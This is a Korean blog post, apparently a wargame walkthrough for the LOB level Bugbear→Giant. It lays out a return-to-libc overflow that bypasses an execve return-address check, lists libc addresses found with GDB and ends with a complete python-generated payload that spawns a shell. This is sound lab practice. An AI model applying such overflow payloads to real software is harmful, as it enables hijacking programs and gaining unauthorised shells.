LOB:Bugbear→Giant

LOB 2018. 4. 30. 18:40

이번엔 코드가 복잡해 보이지만 결국 excve의 주소값을 구해서 ret이 그 주솟값과 같지 않을 경우 종료되도록 되어있다.


우선 execve를 사용하야만 하므로 execve의 주소에 값을 넘겨서 /bin/sh를 실행해야 한다. 그렇게 하기 위해선

[system의 주소][exit함수 주소][/bin/sh의 주소][NULL주소]

1. system 주소

2.


execve의 주소를 구하려면 저 코드에서 보이는대로 일일히 구해도 되지만, 좀 더 쉬운방법이 있다.



GDB로 아무 파일이나 열어서 main에 멈추고 p execve로 구하는 것이다.

system과 exit함수의 주소도 쉽게 구했다.



execve => 0x400a9d48

system => 0x40058ae0

exit => 0x400391e0

이다.

그럼 /bin/sh만 구하면 된다.


\x0a는 \n을 의미하며 값으로 사용할시 \x00과 마찬가지로 입력을 잘라 버리기 때문에 `python`을 "로 한번 더 감싸줘야한다.



해당 코드를 짜서 컴파일 후 실행했다.



/bin/sh => 0x400fbff9

NULL => 0xbffffffc


따라서 페이로드는


./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xfc\xff\xff\xbf"'`"






'LOB' 카테고리의 다른 글

LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
LOB:Darkknight→Bugbear  (0) 2018.04.11
LOB:Golem→Darkknight  (0) 2018.04.11
LOB:Skeleton→Golem  (0) 2018.04.10
블로그 이미지

천재보다는 범재

,